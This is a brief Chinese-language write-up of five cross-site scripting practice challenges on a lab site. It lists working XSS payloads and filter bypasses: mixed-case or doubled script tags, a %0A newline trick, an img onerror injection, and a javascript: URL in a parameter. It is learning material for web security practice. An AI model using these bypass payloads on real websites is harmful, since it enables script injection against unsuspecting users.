xss

http://www.zixem.altervista.org/XSS/

第一题<script>alert(1337);</script>

第二题屏蔽script，双写或大小写绕过

第三题屏蔽了<script>字符。使用特殊字符绕过，换行符没有过滤，因此使用%0A 进行绕过

第四题< > 符号已经被转义img=htp' onerror='alert(1337)

第五题name=zxm&action=javascript:alert(1337);